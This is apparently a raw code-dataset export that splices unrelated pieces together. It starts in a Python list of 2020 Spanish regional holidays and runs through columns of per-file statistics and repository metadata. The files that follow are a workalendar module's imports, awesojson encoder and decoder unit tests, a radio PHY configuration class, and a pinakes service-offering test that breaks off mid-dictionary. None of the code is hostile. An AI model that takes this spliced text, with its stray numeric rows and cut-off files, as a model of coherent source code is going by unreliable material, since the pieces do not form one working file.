'description': 'Día de La Rioja',
'locale': 'es-ES',
'notes': '',
'region': 'RI',
'type': 'F'
},
{
'date': '2020-06-11',
'description': 'Corpus Christi',
'locale': 'es-ES',
'notes': '',
'region': 'CM',
'type': 'RV'
},
{
'date': '2020-06-24',
'description': 'San Juan',
'locale': 'es-ES',
'notes': '',
'region': 'CT',
'type': 'RF'
},
{
'date': '2020-06-24',
'description': 'San Juan',
'locale': 'es-ES',
'notes': '',
'region': 'GA',
'type': 'RF'
},
{
'date': '2020-06-24',
'description': 'San Juan',
'locale': 'es-ES',
'notes': '',
'region': 'VC',
'type': 'RF'
},
{
'date': '2020-07-25',
'description': 'Santiago Apóstol',
'locale': 'es-ES',
'notes': '',
'region': 'PV',
'type': 'RF'
},
{
'date': '2020-07-25',
'description': 'Santiago Apóstol / Día Nacional de Galicia',
'locale': 'es-ES',
'notes': '',
'region': 'GA',
'type': 'RF'
},
{
'date': '2020-07-28',
'description': 'Día de las Instituciones de Cantabria',
'locale': 'es-ES',
'notes': '',
'region': 'CB',
'type': 'F'
},
{
'date': '2020-07-31',
'description': 'Fiesta del Sacrificio (Aid El Kebir)',
'locale': 'es-ES',
'notes': '',
'region': 'ML',
'type': 'RV'
},
{
'date': '2020-07-31',
'description': 'Fiesta del Sacrificio (Eidul Adha)',
'locale': 'es-ES',
'notes': '',
'region': 'CE',
'type': 'RV'
},
{
'date': '2020-08-15',
'description': 'Asunción de la Virgen',
'locale': 'es-ES',
'notes': '',
'region': '',
'type': 'NRF'
},
{
'date': '2020-09-02',
'description': 'Día de Ceuta',
'locale': 'es-ES',
'notes': '',
'region': 'CE',
'type': 'F'
},
{
'date': '2020-09-08',
'description': 'Día de Asturias',
'locale': 'es-ES',
'notes': '',
'region': 'AS',
'type': 'F'
},
{
'date': '2020-09-08',
'description': 'Día de Extremadura',
'locale': 'es-ES',
'notes': '',
'region': 'EX',
'type': 'F'
},
{
'date': '2020-09-11',
'description': 'Fiesta Nacional de Cataluña',
'locale': 'es-ES',
'notes': '',
'region': 'CT',
'type': 'F'
},
{
'date': '2020-09-15',
'description': 'La Bien Aparecida',
'locale': 'es-ES',
'notes': '',
'region': 'CB',
'type': 'RF'
},
{
'date': '2020-10-09',
'description': 'Día de la Comunitat Valenciana',
'locale': 'es-ES',
'notes': '',
'region': 'VC',
'type': 'F'
},
{
'date': '2020-10-12',
'description': 'Fiesta Nacional de España',
'locale': 'es-ES',
'notes': '',
'region': '',
'type': 'NF'
},
{
'date': '2020-11-01',
'description': 'Todos los Santos',
'locale': 'es-ES',
'notes': '',
'region': '',
'type': 'NRF'
},
{
'date': '2020-11-02',
'description': 'Lunes siguiente a Todos los Santos',
'locale': 'es-ES',
'notes': '',
'region': 'AN',
'type': 'F'
},
{
'date': '2020-11-02',
'description': 'Lunes siguiente a Todos los Santos',
'locale': 'es-ES',
'notes': '',
'region': 'AR',
'type': 'F'
},
{
'date': '2020-11-02',
'description': 'Lunes siguiente a Todos los Santos',
'locale': 'es-ES',
'notes': '',
'region': 'AS',
'type': 'F'
},
{
'date': '2020-11-02',
'description': 'Lunes siguiente a Todos los Santos',
'locale': 'es-ES',
'notes': '',
'region': 'CL',
'type': 'F'
},
{
'date': '2020-11-02',
'description': 'Lunes siguiente a Todos los Santos',
'locale': 'es-ES',
'notes': '',
'region': 'EX',
'type': 'F'
},
{
'date': '2020-11-02',
'description': 'Lunes siguiente a Todos los Santos',
'locale': 'es-ES',
'notes': '',
'region': 'MD',
'type': 'F'
},
{
'date': '2020-12-06',
'description': 'Día de la Constitución Española',
'locale': 'es-ES',
'notes': '',
'region': '',
'type': 'NF'
},
{
'date': '2020-12-07',
'description': 'Lunes siguiente al Día de la Constitución Española',
'locale': 'es-ES',
'notes': '',
'region': 'AN',
'type': 'F'
},
{
'date': '2020-12-07',
'description': 'Lunes siguiente al Día de la Constitución Española',
'locale': 'es-ES',
'notes': '',
'region': 'AR',
'type': 'F'
},
{
'date': '2020-12-07',
'description': 'Lunes siguiente al Día de la Constitución Española',
'locale': 'es-ES',
'notes': '',
'region': 'AS',
'type': 'F'
},
{
'date': '2020-12-07',
'description': 'Lunes siguiente al Día de la Constitución Española',
'locale': 'es-ES',
'notes': '',
'region': 'CE',
'type': 'F'
},
{
'date': '2020-12-07',
'description': 'Lunes siguiente al Día de la Constitución Española',
'locale': 'es-ES',
'notes': '',
'region': 'CL',
'type': 'F'
},
{
'date': '2020-12-07',
'description': 'Lunes siguiente al Día de la Constitución Española',
'locale': 'es-ES',
'notes': '',
'region': 'CN',
'type': 'F'
},
{
'date': '2020-12-07',
'description': 'Lunes siguiente al Día de la Constitución Española',
'locale': 'es-ES',
'notes': '',
'region': 'EX',
'type': 'F'
},
{
'date': '2020-12-07',
'description': 'Lunes siguiente al Día de la Constitución Española',
'locale': 'es-ES',
'notes': '',
'region': 'IB',
'type': 'F'
},
{
'date': '2020-12-07',
'description': 'Lunes siguiente al Día de la Constitución Española',
'locale': 'es-ES',
'notes': '',
'region': 'MC',
'type': 'F'
},
{
'date': '2020-12-07',
'description': 'Lunes siguiente al Día de la Constitución Española',
'locale': 'es-ES',
'notes': '',
'region': 'MD',
'type': 'F'
},
{
'date': '2020-12-07',
'description': 'Lunes siguiente al Día de la Constitución Española',
'locale': 'es-ES',
'notes': '',
'region': 'ML',
'type': 'F'
},
{
'date': '2020-12-07',
'description': 'Lunes siguiente al Día de la Constitución Española',
'locale': 'es-ES',
'notes': '',
'region': 'NC',
'type': 'F'
},
{
'date': '2020-12-07',
'description': 'Lunes siguiente al Día de la Constitución Española',
'locale': 'es-ES',
'notes': '',
'region': 'RI',
'type': 'F'
},
{
'date': '2020-12-08',
'description': 'Inmaculada Concepción',
'locale': 'es-ES',
'notes': '',
'region': '',
'type': 'NRF'
},
{
'date': '2020-12-25',
'description': 'Natividad del Señor',
'locale': 'es-ES',
'notes': '',
'region': '',
'type': 'NRF'
},
{
'date': '2020-12-26',
'description': 'San Esteban',
'locale': 'es-ES',
'notes': '',
'region': 'CT',
'type': 'RF'
},
{
'date': '2020-12-26',
'description': 'San Esteban',
'locale': 'es-ES',
'notes': '',
'region': 'IB',
'type': 'RF'
}
]
| 23.1
| 76
| 0.384529
| 1,447
| 15,939
| 4.23566
| 0.087768
| 0.112253
| 0.140317
| 0.210475
| 0.877305
| 0.864089
| 0.862294
| 0.833415
| 0.818731
| 0.773862
| 0
| 0.071207
| 0.393814
| 15,939
| 690
| 77
| 23.1
| 0.563134
| 0
| 0
| 0.672464
| 0
| 0
| 0.417127
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
7d8117bec20837e25c232ab64b0ff3de6e2f6ed2
| 2,238
|
py
|
Python
|
workalendar/america/__init__.py
|
ftatarli/workalendar
|
111d2268f6153cfa1906823409103f5d532f7b8b
|
[
"MIT"
] | 2
|
2020-07-15T09:56:41.000Z
|
2021-02-04T18:11:28.000Z
|
workalendar/america/__init__.py
|
ftatarli/workalendar
|
111d2268f6153cfa1906823409103f5d532f7b8b
|
[
"MIT"
] | null | null | null |
workalendar/america/__init__.py
|
ftatarli/workalendar
|
111d2268f6153cfa1906823409103f5d532f7b8b
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
from .barbados import Barbados
from .brazil import (
Brazil, BrazilAcre, BrazilAlagoas, BrazilAmapa, BrazilAmazonas,
BrazilBahia, BrazilCeara, BrazilDistritoFederal, BrazilEspiritoSanto,
BrazilGoias, BrazilMaranhao, BrazilMatoGrosso, BrazilMatoGrossoDoSul,
BrazilPara, BrazilParaiba, BrazilPernambuco, BrazilPiaui,
BrazilRioDeJaneiro, BrazilRioGrandeDoNorte, BrazilRioGrandeDoSul,
BrazilRondonia, BrazilRoraima, BrazilSantaCatarina, BrazilSaoPauloState,
BrazilSaoPauloCity, BrazilSergipe, BrazilTocantins, BrazilVitoriaCity,
BrazilVilaVelhaCity, BrazilCariacicaCity, BrazilGuarapariCity,
BrazilSerraCity, BrazilBankCalendar
)
from .canada import (
Canada, Ontario, Quebec, BritishColumbia, Alberta, Saskatchewan, Manitoba,
NewBrunswick, NovaScotia, PrinceEdwardIsland, Newfoundland, Yukon,
NorthwestTerritories, Nunavut
)
from .chile import Chile
from .colombia import Colombia
from .mexico import Mexico
from .panama import Panama
from .paraguay import Paraguay
__all__ = (
# Brazil & its states.
'Brazil',
'BrazilAcre',
'BrazilAlagoas',
'BrazilAmapa',
'BrazilAmazonas',
'BrazilBahia',
'BrazilCeara',
'BrazilDistritoFederal',
'BrazilEspiritoSanto',
'BrazilGoias',
'BrazilMaranhao',
'BrazilMatoGrosso',
'BrazilMatoGrossoDoSul',
'BrazilPara',
'BrazilParaiba',
'BrazilPernambuco',
'BrazilPiaui',
'BrazilRioDeJaneiro',
'BrazilRioGrandeDoNorte',
'BrazilRioGrandeDoSul',
'BrazilRondonia',
'BrazilRoraima',
'BrazilSantaCatarina',
'BrazilSaoPauloState',
'BrazilSaoPauloCity',
'BrazilSergipe',
'BrazilTocantins',
'BrazilVitoriaCity',
'BrazilVilaVelhaCity',
'BrazilCariacicaCity',
'BrazilGuarapariCity',
'BrazilSerraCity',
'BrazilBankCalendar',
# Canada
'Canada',
'Ontario',
'Quebec',
'BritishColumbia',
'Alberta',
'Saskatchewan',
'Manitoba',
'NewBrunswick',
'NovaScotia',
'PrinceEdwardIsland',
'Newfoundland',
'Yukon',
'NorthwestTerritories',
'Nunavut',
# Other american countries
'Barbados',
'Chile',
'Colombia',
'Mexico',
'Panama',
'Paraguay',
)
| 26.642857
| 78
| 0.704647
| 141
| 2,238
| 11.156028
| 0.453901
| 0.020343
| 0.036872
| 0.050858
| 0.827718
| 0.827718
| 0.827718
| 0.827718
| 0.827718
| 0.827718
| 0
| 0.000552
| 0.191242
| 2,238
| 83
| 79
| 26.963855
| 0.868508
| 0.033065
| 0
| 0
| 0
| 0
| 0.320519
| 0.029643
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.103896
| 0
| 0.103896
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
7db31b6dd7ccf8e6655a8a761b3aacfb7cd66c61
| 10,250
|
py
|
Python
|
tests/test_api.py
|
vphilippon/python-awesojson
|
34f2a8f38b436df6dea6955db4fb024d530fc49a
|
[
"MIT"
] | 3
|
2015-07-18T02:11:03.000Z
|
2019-07-12T02:16:39.000Z
|
tests/test_api.py
|
vphilippon/python-awesojson
|
34f2a8f38b436df6dea6955db4fb024d530fc49a
|
[
"MIT"
] | 14
|
2015-07-18T02:00:08.000Z
|
2016-10-18T04:29:01.000Z
|
tests/test_api.py
|
vphilippon/python-awesojson
|
34f2a8f38b436df6dea6955db4fb024d530fc49a
|
[
"MIT"
] | null | null | null |
import unittest
import json
try:
from StringIO import StringIO # For Python 2.7
except ImportError: # Python 3.3+
from io import StringIO
try:
from unittest.mock import patch
except ImportError: # Pre Python 3.3
from mock import patch
from awesojson import (dump, dumps,
load, loads,
register_decoder,
register_encoder)
@patch('awesojson.encoder.AwesoJSONEncoder.default')
class JSONDumpAPITest(unittest.TestCase):
def test_int_do_not_call_encoder_default(self, default_mock):
value = 0
expected = StringIO()
json.dump(value, expected)
result = StringIO()
dump(value, result)
self.assertFalse(default_mock.called)
self.assertEquals(result.getvalue(), expected.getvalue())
def test_float_do_not_call_encoder_default(self, default_mock):
value = 1.5
expected = StringIO()
json.dump(value, expected)
result = StringIO()
dump(value, result)
self.assertFalse(default_mock.called)
self.assertEquals(result.getvalue(), expected.getvalue())
def test_string_do_not_call_encoder_default(self, default_mock):
value = 'foo'
expected = StringIO()
json.dump(value, expected)
result = StringIO()
dump(value, result)
self.assertFalse(default_mock.called)
self.assertEquals(result.getvalue(), expected.getvalue())
def test_list_do_not_call_encoder_default(self, default_mock):
value = [1, 2, 3]
expected = StringIO()
json.dump(value, expected)
result = StringIO()
dump(value, result)
self.assertFalse(default_mock.called)
self.assertEquals(result.getvalue(), expected.getvalue())
def test_dict_do_not_call_encoder_default(self, default_mock):
value = {"foo": "bar"}
expected = StringIO()
json.dump(value, expected)
result = StringIO()
dump(value, result)
self.assertFalse(default_mock.called)
self.assertEquals(result.getvalue(), expected.getvalue())
def test_object_call_encoder_default(self, default_mock):
value = object()
default_mock.return_value = None
result = StringIO()
dump(value, result)
self.assertTrue(default_mock.called)
def test_object_encoder_default_value_used(self, default_mock):
value = object()
return_value = {"awesojsontype": "testing", "data": None}
default_mock.return_value = return_value
expected = StringIO()
json.dump(return_value, expected)
result = StringIO()
dump(value, result)
self.assertTrue(default_mock.called)
self.assertEquals(result.getvalue(), expected.getvalue())
@patch('awesojson.encoder.AwesoJSONEncoder.default')
class JSONDumpsAPITest(unittest.TestCase):
def test_int_do_not_call_encoder_default(self, default_mock):
value = 0
expected = json.dumps(value)
result = dumps(value)
self.assertFalse(default_mock.called)
self.assertEquals(result, expected)
def test_float_do_not_call_encoder_default(self, default_mock):
value = 1.5
expected = json.dumps(value)
result = dumps(value)
self.assertFalse(default_mock.called)
self.assertEquals(result, expected)
def test_string_do_not_call_encoder_default(self, default_mock):
value = 'foo'
expected = json.dumps(value)
result = dumps(value)
self.assertFalse(default_mock.called)
self.assertEquals(result, expected)
def test_list_do_not_call_encoder_default(self, default_mock):
value = [1, 2, 3]
expected = json.dumps(value)
result = dumps(value)
self.assertFalse(default_mock.called)
self.assertEquals(result, expected)
def test_dict_do_not_call_encoder_default(self, default_mock):
value = {"foo": "bar"}
expected = json.dumps(value)
result = dumps(value)
self.assertFalse(default_mock.called)
self.assertEquals(result, expected)
def test_object_call_encoder_default(self, default_mock):
value = object()
default_mock.return_value = None
dumps(value)
self.assertTrue(default_mock.called)
def test_object_encoder_default_value_used(self, default_mock):
value = object()
return_value = {"awesojsontype": "testing", "data": None}
default_mock.return_value = return_value
expected = json.dumps(return_value)
result = dumps(value)
self.assertTrue(default_mock.called)
self.assertEquals(result, expected)
@patch('awesojson.decoder.AwesoJSONDecoder.object_handler')
class JSONLoadAPITest(unittest.TestCase):
def test_int_do_not_call_decoder_object_handler(self, object_handler_mock):
value = StringIO('0')
expected = json.load(value)
value.seek(0)
result = load(value)
self.assertFalse(object_handler_mock.called)
self.assertEquals(result, expected)
def test_float_do_not_call_decoder_object_handler(self, object_handler_mock):
value = StringIO('1.5')
expected = json.load(value)
value.seek(0)
result = load(value)
self.assertFalse(object_handler_mock.called)
self.assertEquals(result, expected)
def test_string_do_not_call_decoder_object_handler(self, object_handler_mock):
value = StringIO('"foo"')
expected = json.load(value)
value.seek(0)
result = load(value)
self.assertFalse(object_handler_mock.called)
self.assertEquals(result, expected)
def test_list_do_not_call_decoder_object_handler(self, object_handler_mock):
value = StringIO('[0, 1, 2]')
expected = json.load(value)
value.seek(0)
result = load(value)
self.assertFalse(object_handler_mock.called)
self.assertEquals(result, expected)
def test_dict_call_decoder_object_handler(self, object_handler_mock):
value = StringIO('{}')
load(value)
self.assertTrue(object_handler_mock.called)
def test_dict_object_handler_return_value_used(self, object_handler_mock):
value = StringIO('{"foo": "bar"}')
expected = json.load(value)
value.seek(0)
object_handler_mock.return_value = expected
result = load(value)
self.assertTrue(object_handler_mock.called)
self.assertEquals(result, expected)
@patch('awesojson.decoder.AwesoJSONDecoder.object_handler')
class JSONLoadsAPITest(unittest.TestCase):
def test_int_do_not_call_decoder_object_handler(self, object_handler_mock):
value = '0'
expected = json.loads(value)
result = loads(value)
self.assertFalse(object_handler_mock.called)
self.assertEquals(result, expected)
def test_float_do_not_call_decoder_object_handler(self, object_handler_mock):
value = '1.5'
expected = json.loads(value)
result = loads(value)
self.assertFalse(object_handler_mock.called)
self.assertEquals(result, expected)
def test_string_do_not_call_decoder_object_handler(self, object_handler_mock):
value = '"foo"'
expected = json.loads(value)
result = loads(value)
self.assertFalse(object_handler_mock.called)
self.assertEquals(result, expected)
def test_list_do_not_call_decoder_object_handler(self, object_handler_mock):
value = '[0, 1, 2]'
expected = json.loads(value)
result = loads(value)
self.assertFalse(object_handler_mock.called)
self.assertEquals(result, expected)
def test_dict_call_decoder_object_handler(self, object_handler_mock):
value = '{}'
loads(value)
self.assertTrue(object_handler_mock.called)
def test_dict_decoder_object_handler_return_value_used(self, object_handler_mock):
value = '{"foo": "bar"}'
expected = json.loads(value)
object_handler_mock.return_value = expected
result = loads(value)
self.assertTrue(object_handler_mock.called)
self.assertEquals(result, expected)
@patch('awesojson.decoder.AwesoJSONDecoder.register_decoder')
class RegisterDecoderFunctionAPITest(unittest.TestCase):
def test_basic_registration(self, AwesoJSONDecoder_register_decoder_mock):
f = lambda x: x
register_decoder(f, 'test.name')
AwesoJSONDecoder_register_decoder_mock.assert_called_with(f, 'test.name')
def test_None_fct_registration(self, AwesoJSONDecoder_register_decoder_mock):
register_decoder(None, 'test.name')
AwesoJSONDecoder_register_decoder_mock.assert_called_with(None, 'test.name')
def test_None_type_identifier_registration(self, AwesoJSONDecoder_register_decoder_mock):
f = lambda x: x
register_decoder(f, None)
AwesoJSONDecoder_register_decoder_mock.assert_called_with(f, None)
@patch('awesojson.encoder.AwesoJSONEncoder.register_encoder')
class RegisterEncoderFunctionAPITest(unittest.TestCase):
class DummyClass(object):
"""
Dummy class to test registration.
"""
pass
def test_basic_registration(self, AwesoJSONEncoder_register_encoder_mock):
f = lambda x: x
register_encoder(f, self.DummyClass)
AwesoJSONEncoder_register_encoder_mock.assert_called_with(f, self.DummyClass, None)
def test_None_fct_registration(self, AwesoJSONEncoder_register_encoder_mock):
register_encoder(None, self.DummyClass)
AwesoJSONEncoder_register_encoder_mock.assert_called_with(None, self.DummyClass, None)
def test_None_type_identifier_registration(self, AwesoJSONEncoder_register_encoder_mock):
f = lambda x: x
register_encoder(f, None)
AwesoJSONEncoder_register_encoder_mock.assert_called_with(f, None, None)
def test_specific_type_identifier_registration(self, AwesoJSONEncoder_register_encoder_mock):
f = lambda x: x
register_encoder(f, self.DummyClass, 'test.name')
AwesoJSONEncoder_register_encoder_mock.assert_called_with(f, self.DummyClass, 'test.name')
| 36.347518
| 98
| 0.691317
| 1,180
| 10,250
| 5.713559
| 0.072034
| 0.077128
| 0.065559
| 0.084841
| 0.901958
| 0.89024
| 0.848561
| 0.821121
| 0.797834
| 0.763868
| 0
| 0.004365
| 0.217756
| 10,250
| 281
| 99
| 36.476868
| 0.836493
| 0.007415
| 0
| 0.736842
| 0
| 0
| 0.046516
| 0.027989
| 0
| 0
| 0
| 0
| 0.241228
| 1
| 0.144737
| false
| 0.004386
| 0.039474
| 0
| 0.214912
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
7dbca7f6e033f617e71dac11506e0aff7605a143
| 97
|
py
|
Python
|
src/datasets/__init__.py
|
zhooda/learn-ml
|
e35765fdc3b27fd923cff89cc086d5093eeee25b
|
[
"MIT"
] | null | null | null |
src/datasets/__init__.py
|
zhooda/learn-ml
|
e35765fdc3b27fd923cff89cc086d5093eeee25b
|
[
"MIT"
] | null | null | null |
src/datasets/__init__.py
|
zhooda/learn-ml
|
e35765fdc3b27fd923cff89cc086d5093eeee25b
|
[
"MIT"
] | null | null | null |
from .spiral import create_data as spiral_data
from .vertical import create_data as vertical_data
| 48.5
| 50
| 0.865979
| 16
| 97
| 5
| 0.4375
| 0.3
| 0.4
| 0.45
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.113402
| 97
| 2
| 50
| 48.5
| 0.930233
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
7dcd331c5b4590db5a1ff479f4724149cb4b6804
| 3,812
|
py
|
Python
|
platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/dumbo/phys/phy_internal_base.py
|
lmnotran/gecko_sdk
|
2e82050dc8823c9fe0e8908c1b2666fb83056230
|
[
"Zlib"
] | 82
|
2016-06-29T17:24:43.000Z
|
2021-04-16T06:49:17.000Z
|
platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/dumbo/phys/phy_internal_base.py
|
lmnotran/gecko_sdk
|
2e82050dc8823c9fe0e8908c1b2666fb83056230
|
[
"Zlib"
] | 6
|
2022-01-12T18:22:08.000Z
|
2022-03-25T10:19:27.000Z
|
platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/dumbo/phys/phy_internal_base.py
|
lmnotran/gecko_sdk
|
2e82050dc8823c9fe0e8908c1b2666fb83056230
|
[
"Zlib"
] | 56
|
2016-08-02T10:50:50.000Z
|
2021-07-19T08:57:34.000Z
|
from pyradioconfig.parts.common.phys.phy_common import PHY_COMMON_FRAME_INTERNAL
from py_2_and_3_compatibility import *
class Phy_Internal_Base(object):
"""
Common Internal Phy functiosn live here
"""
@staticmethod
def GFSK_915M_base(phy, model):
"""GFSK_915M_base
Args:
model (ModelRoot) : Data model to read and write variables from
"""
phy.profile_inputs.base_frequency_hz.value = long(915000000)
phy.profile_inputs.baudrate_tol_ppm.value = 0
phy.profile_inputs.bitrate.value = 100000
phy.profile_inputs.channel_spacing_hz.value = 1000000
phy.profile_inputs.deviation.value = 50000
phy.profile_inputs.diff_encoding_mode.value = model.vars.diff_encoding_mode.var_enum.DISABLED
phy.profile_inputs.dsss_chipping_code.value = long(0)
phy.profile_inputs.dsss_len.value = 0
phy.profile_inputs.dsss_spreading_factor.value = 0
phy.profile_inputs.fsk_symbol_map.value = model.vars.fsk_symbol_map.var_enum.MAP0
phy.profile_inputs.modulation_type.value = model.vars.modulation_type.var_enum.FSK2
phy.profile_inputs.preamble_pattern.value = 1
phy.profile_inputs.preamble_pattern_len.value = 2
phy.profile_inputs.preamble_length.value = 40
phy.profile_inputs.rx_xtal_error_ppm.value = 0 # MCUW_RADIO_CFG-672
phy.profile_inputs.shaping_filter.value = model.vars.shaping_filter.var_enum.Gaussian
phy.profile_inputs.shaping_filter_param.value = 0.5
phy.profile_inputs.syncword_0.value = long(0xf68d)
phy.profile_inputs.syncword_1.value = long(0x0)
phy.profile_inputs.syncword_length.value = 16
phy.profile_inputs.tx_xtal_error_ppm.value = 0
phy.profile_inputs.xtal_frequency_hz.value = 38400000
PHY_COMMON_FRAME_INTERNAL(phy, model)
phy.profile_inputs.agc_period.value = 0
phy.profile_inputs.agc_speed.value = model.vars.agc_speed.var_enum.FAST
@staticmethod
def GFSK_2400M_base(phy, model):
"""GFSK_2400M_base
Args:
model (ModelRoot) : Data model to read and write variables from
"""
phy.profile_inputs.base_frequency_hz.value = long(2450000000)
phy.profile_inputs.baudrate_tol_ppm.value = 0
phy.profile_inputs.bitrate.value = 100000
phy.profile_inputs.channel_spacing_hz.value = 1000000
phy.profile_inputs.deviation.value = 50000
phy.profile_inputs.diff_encoding_mode.value = model.vars.diff_encoding_mode.var_enum.DISABLED
phy.profile_inputs.dsss_chipping_code.value = long(0)
phy.profile_inputs.dsss_len.value = 0
phy.profile_inputs.dsss_spreading_factor.value = 0
phy.profile_inputs.fsk_symbol_map.value = model.vars.fsk_symbol_map.var_enum.MAP0
phy.profile_inputs.modulation_type.value = model.vars.modulation_type.var_enum.FSK2
phy.profile_inputs.preamble_pattern.value = 1
phy.profile_inputs.preamble_pattern_len.value = 2
phy.profile_inputs.preamble_length.value = 40
phy.profile_inputs.rx_xtal_error_ppm.value = 0
phy.profile_inputs.shaping_filter.value = model.vars.shaping_filter.var_enum.Gaussian
phy.profile_inputs.shaping_filter_param.value = 0.5
phy.profile_inputs.syncword_0.value = long(0xf68d)
phy.profile_inputs.syncword_1.value = long(0x0)
phy.profile_inputs.syncword_length.value = 16
phy.profile_inputs.tx_xtal_error_ppm.value = 0
phy.profile_inputs.xtal_frequency_hz.value = 38400000
PHY_COMMON_FRAME_INTERNAL(phy, model)
phy.profile_inputs.agc_power_target.value = -8
phy.profile_inputs.agc_period.value = 0
phy.profile_inputs.agc_speed.value = model.vars.agc_speed.var_enum.FAST
| 46.487805
| 101
| 0.728751
| 530
| 3,812
| 4.915094
| 0.192453
| 0.1881
| 0.30096
| 0.084837
| 0.885605
| 0.885605
| 0.885605
| 0.885605
| 0.885605
| 0.885605
| 0
| 0.045057
| 0.190714
| 3,812
| 82
| 102
| 46.487805
| 0.799352
| 0.062959
| 0
| 0.862069
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005147
| 0
| 0
| 1
| 0.034483
| false
| 0
| 0.034483
| 0
| 0.086207
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
7dd6a1c5f53030888ba2dc546c8729e5913855d9
| 12,384
|
py
|
Python
|
pinakes/main/inventory/tests/task_utils/test_service_offering_import.py
|
Alex-Izquierdo/pinakes
|
dfeb855662b47d29a6e976e87fd7c090a262cf3f
|
[
"Apache-2.0"
] | 2
|
2022-03-17T18:53:58.000Z
|
2022-03-17T22:04:22.000Z
|
pinakes/main/inventory/tests/task_utils/test_service_offering_import.py
|
Alex-Izquierdo/pinakes
|
dfeb855662b47d29a6e976e87fd7c090a262cf3f
|
[
"Apache-2.0"
] | 9
|
2022-03-18T08:22:57.000Z
|
2022-03-30T17:14:49.000Z
|
pinakes/main/inventory/tests/task_utils/test_service_offering_import.py
|
Alex-Izquierdo/pinakes
|
dfeb855662b47d29a6e976e87fd7c090a262cf3f
|
[
"Apache-2.0"
] | 7
|
2022-03-17T22:03:08.000Z
|
2022-03-28T21:28:34.000Z
|
"""Test module for ServiceOfferingImport"""
from unittest.mock import Mock
import pytest
from pinakes.main.inventory.task_utils.service_offering_import import (
ServiceOfferingImport,
OfferingKind,
)
from pinakes.main.inventory.tests.factories import (
InventoryServicePlanFactory,
SourceFactory,
ServiceInventoryFactory,
ServiceOfferingFactory,
)
from pinakes.main.inventory.models import (
InventoryServicePlan,
ServiceOffering,
)
from pinakes.main.tests.factories import TenantFactory
class TestServiceOfferingImport:
"""Test class for ServiceOfferingImport."""
@pytest.mark.django_db
def test_add(self):
"""Test adding new objects."""
tenant = TenantFactory()
source = SourceFactory()
inventory_source_ref = "999"
inventory = ServiceInventoryFactory(
tenant=tenant, source=source, source_ref=inventory_source_ref
)
tower_mock = Mock()
template_objs = [
{
"name": "Fred",
"url": "/api/v2/job_templates/298/",
"id": 298,
"description": "Bedrock Template",
"created": "2021-05-19T17:21:37.130143Z",
"modified": "2021-06-10T20:06:35.234167Z",
"related.inventory": (
f"/api/v2/inventories/{inventory_source_ref}/"
),
"related.survey_spec": "/api/v2/survey_spec/298",
"survey_enabled": True,
"type": "job_template",
},
]
workflow_objs = [
{
"name": "Barney",
"url": "/api/v2/job_templates/299/",
"id": 299,
"description": "Barney Template",
"created": "2021-05-19T17:56:37.130143Z",
"modified": "2021-06-10T20:46:35.234167Z",
"related.inventory": (
f"/api/v2/inventories/{inventory_source_ref}/"
),
"survey_enabled": False,
"related.survey_spec": "/api/v2/survey_spec/299",
"type": "workflow_job_template",
},
]
def fake_method(*args, **_kwarg):
if "workflow_job_templates" in args[0]:
for i in workflow_objs:
yield i
else:
for i in template_objs:
yield i
surveys = []
def survey_requests(*args, **_kwarg):
surveys.append(args[0])
tower_mock.get.side_effect = fake_method
inventory_import_mock = Mock()
inventory_import_mock.source_ref_to_id.return_value = inventory.id
plan_import_mock = Mock()
plan_import_mock.process.side_effect = survey_requests
soi = ServiceOfferingImport(
tenant, source, tower_mock, inventory_import_mock, plan_import_mock
)
soi.process()
assert (ServiceOffering.objects.all().count()) == 2
assert (
ServiceOffering.objects.first().service_inventory.id
) == inventory.id
assert (soi.get_stats().get("adds")) == 2
assert (len(surveys)) == 1
@pytest.mark.django_db
def test_update(self):
"""Test update existing objects."""
tenant = TenantFactory()
source = SourceFactory()
inventory = ServiceInventoryFactory(tenant=tenant, source=source)
inventory_source_ref = "999"
inventory.source_ref = inventory_source_ref
inventory.save()
service_offering_source_ref = "997"
ServiceOfferingFactory(
tenant=tenant,
source=source,
service_inventory=inventory,
kind=OfferingKind.JOB_TEMPLATE,
source_ref=service_offering_source_ref,
)
tower_mock = Mock()
template_objs = [
{
"name": "Fred",
"url": f"/api/v2/job_templates/{service_offering_source_ref}/",
"id": int(service_offering_source_ref),
"description": "Bedrock Template",
"created": "2021-05-19T17:21:37.130143Z",
"modified": "2021-06-10T20:06:35.234167Z",
"related.inventory": (
